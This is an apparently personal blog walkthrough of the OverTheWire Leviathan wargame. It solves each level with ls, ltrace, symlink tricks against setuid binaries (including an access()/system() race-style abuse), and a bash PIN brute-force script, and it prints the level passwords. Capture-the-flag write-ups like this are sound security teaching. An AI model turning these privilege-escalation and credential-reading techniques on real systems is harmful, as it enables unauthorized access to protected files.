9 minutes
Over The Wire - Leviathan Walkthrough
Level 0
Arriving at Level 0 we can use ls -l
to print any files, however it prints:
total 0
So we should maybe use ls -la
which should print:
total 24
drwxr-xr-x 3 root root 4096 Oct 29 21:17 .
drwxr-xr-x 10 root root 4096 Oct 29 21:17 ..
drwxr-x--- 2 leviathan1 leviathan0 4096 Oct 29 21:17 .backup
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-rw-r--r-- 1 root root 675 May 15 2017 .profile
Because according to man ls
:
-a, --all
do not ignore entries starting with .
We cd .backup && ls -la
in order to get into the directory and print the contents and get:
total 140
drwxr-x--- 2 leviathan1 leviathan0 4096 Oct 29 21:17 .
drwxr-xr-x 3 root root 4096 Oct 29 21:17 ..
-rw-r----- 1 leviathan1 leviathan0 133259 Oct 29 21:17 bookmarks.html
We need to read the bookmarks.html
and the easiest way is using cat
, however there’s a problem, the file is extremely long!
Time to filter it! We pipe it to grep
and search for leviathan
given the password should probably be referenced that way!
cat bookmarks.html | grep leviathan
And lo and behold!
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
Level 1
Again and moving forward, our first command when we arrive to the level is ls -la
.
This time the output is:
total 28
drwxr-xr-x 2 root root 4096 Oct 29 21:17 .
drwxr-xr-x 10 root root 4096 Oct 29 21:17 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan2 leviathan1 7452 Oct 29 21:17 check
-rw-r--r-- 1 root root 675 May 15 2017 .profile
Uh, what is that check? Lets find out, we run file
on it and we get back:
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped
Since it is an executable we can first try to see what it does! When executing it, it asks us for a password, if we fail it closes…
We can try to find out the string using strings
on it, however it doesn’t provide anything meaningful in this case.
Introducing ltrace
!
ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.
Let’s try it out, run ltrace ./check
, the program will start running as normal however you can already see a lot of information about what’s going on.
Using test
as our password the output we get from ltrace
is this.
__libc_start_main(0x804853b, 1, 0xffffd794, 0x8048610 <unfinished ...>
printf("password: ") = 10
getchar(1, 0, 0x65766f6c, 0x646f6700password: test
) = 116
getchar(1, 0, 0x65766f6c, 0x646f6700) = 101
getchar(1, 0, 0x65766f6c, 0x646f6700) = 115
strcmp("tes", "sex") = 1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
We can see it calls strcmp
with the first 3 characters from the input password and compares them with sex
.
Trying is as a password gives us another shell! Did our user changed? Running whoami
we get the following:
leviathan2
Uhhh! This means we can read the password for the next level!
Running cat /etc/leviathan_pass/leviathan2
outputs our password!
ougahZi8Ta
Level 2
This time we have printfile
, since we have no clue what it does lets run it.
An empty argument list yields:
*** File Printer ***
Usage: ./printfile filename
So we create a file on the /tmp
folder with echo "test" >> /tmp/printfile_test
,
so now our file contains test
and given the executable name we are hoping to see test
being printed out.
As expected ./printfile /tmp/printfile_test
prints out:
test
Let’s try the same, however using ltrace
, the output is:
__libc_start_main(0x804852b, 2, 0xffffd774, 0x8048610 <unfinished ...>
access("/tmp/printfile_test", 4) = 0
snprintf("/bin/cat /tmp/printfile_test", 511, "/bin/cat %s", "/tmp/printfile_test") = 28
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat /tmp/printfile_test"test
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
The second line access("/tmp/printfile_test", 4)
,
checks wether the calling process can access the file.
As stated in the access(2)
manpage:
access()
checks whether the calling process can access the filepathname
. Ifpathname
is a symbolic link, it is dereferenced.(…)
The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.
So far we know the following:
access
requires the file to exist- It will check the permission based on the process real UID and GID
- This means that it checks if the user calling the process has the permissions and not the program itself
If we go further we can see that two calls to geteuid
are made, both returning 12002
.
Running id -u
we can verify that that is the ID of leviathan2
.
Afterwards we can observe a call to setreuid
, a quick look in the manpages yields the following:
setreuid() sets real and effective user IDs of the calling process.
This means that we have a setuid
-like binary in hands,
and so we can’t rely on ltrace
to do a faithful job,
while there is a flag addressing such issue:
-u username
Run command with the userid, groupid and supplementary groups of username. This option is only useful when running as root and enables the correct execution of setuid and/or setgid binaries.
It only works for root,
so when we want to try the “final” version we will always run without ltrace
,
this applies for further levels as well.
Finally there is a call to system
:
system("/bin/cat /tmp/printfile_test")
This call will be executed with the priviledges set by setreuid
and while when running with ltrace
they are the same as the current level it is possible to think that without it,
it is probably a more usefull call.
This opens up a security hole given that the priviledges being checked with access
are not the same as the ones when calling system
.
Furthermore the use of %s
in snprintf
means that
we have control of the input over the command being run.
Ideally we want to run the following command:
cat /etc/leviathan_pass/leviathan3
However we do not have access to /etc/leviathan_pass/leviathan3
,
to any symbolic links given that they resolve to the file anyway,
neither we can create a file called test /etc/leviathan_pass/leviathan3
.
However we can create one called test link
, and then run printfile "test link"
.
This won’t be very useful unless either test
or link
are symbolic links to /etc/leviathan_pass/leviathan3
.
To do so, we run
touch "test link"
ln -s /etc/leviathan_pass/leviathan3 link
~/printfile "test link"
Which will create the dummy file for the printfile
to take and check access over,
create a symbolic link to /etc/leviathan_pass/leviathan3
named link
and finally run ~/printfile "test link"
yielding:
/bin/cat: test: No such file or directory
Ahdiemoo1j
And there is our password!
Level 3
Going into Level 3,
we have yet another password challenge,
running the level3
executable shows us a prompt for a password.
leviathan3@leviathan:~$ ./level3
Enter the password> password
bzzzzzzzzap. WRONG
We grab our old friend ltrace
and run ltrace ./level3
, the following ensues.
__libc_start_main(0x8048618, 1, 0xffffd784, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> password
"password\n", 256, 0xf7fc55a0) = 0xffffd590
strcmp("password\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
While in the second line we have a clearly false comparison,
after fgets
we see our input being compared to snlprintf
,
so we try again with snlprintf
as input.
__libc_start_main(0x8048618, 1, 0xffffd784, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> snlprintf
"snlprintf\n", 256, 0xf7fc55a0) = 0xffffd590
strcmp("snlprintf\n", "snlprintf\n") = 0
puts("[You've got shell]!"[You've got shell]!
) = 20
geteuid() = 12003
geteuid() = 12003
setreuid(12003, 12003) = 0
system("/bin/sh"$ whoami
leviathan3
$ exit
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
This got us shell!
However when running with ltrace
the program runs within the leviathan3
user.
Ditching ltrace
and running the executable alone gives us the following result.
/level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
Meaning we can get the password for Level 4.
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
Ta-daaaaa!
Level 4
Running ls -la
so that nothing escapes our grasp shows the following.
total 24
drwxr-xr-x 3 root root 4096 Oct 29 2018 .
drwxr-xr-x 10 root root 4096 Oct 29 2018 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-rw-r--r-- 1 root root 675 May 15 2017 .profile
dr-xr-x--- 2 root leviathan4 4096 Oct 29 2018 .trash
Diving in the .trash
we find the executable bin
.
Running it prints the following output.
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
Passing it through a binary to ascii converter gives us the password to the next level - Tith4cokei
.
Level 5
Running the same routine we find.
total 28
drwxr-xr-x 2 root root 4096 Oct 29 2018 .
drwxr-xr-x 10 root root 4096 Oct 29 2018 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan6 leviathan5 7560 Oct 29 2018 leviathan5
-rw-r--r-- 1 root root 675 May 15 2017 .profile
And running ./leviathan5
yields.
Cannot find /tmp/file.log
Maybe we can do another symbolic link!
We run ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
to create it
and afterwards we run the executable.
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li
Easy peasy, lemon squeezy.
Level 6
In Level 6 we have a PIN protected executable, given we need a 4 digit-code we can brute force it!
Using the power of bash
we brew a script, dead simple, yet powerfull!
#!/bin/bash
for a in {0..9}
do
for b in {0..9}
do
for c in {0..9}
do
for d in {0..9}
do
echo "$a$b$c$d"
~/leviathan6 "$a$b$c$d"
done
done
done
done
This will brute force the password and print the codes while doing it!
We do the following and wait.
chmod a+x script.sh
./script
It will stop when the right password was reached, after a long list of numbers and wrongs.
Wrong
7120
Wrong
7121
Wrong
7122
Wrong
7123
$ whoami
leviathan7
Voilá!
Now we just cat
the password, when we exit the shell the script will continue running,
there is no point to it, so you can just Ctrl-C
to kill it.
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9
Level 7
You did it!
If you enjoyed reading this walkthrough, have comments or fixes on it, send us an email. Author: José Duarte.
1824 Words
2019-03-31 00:05 +0000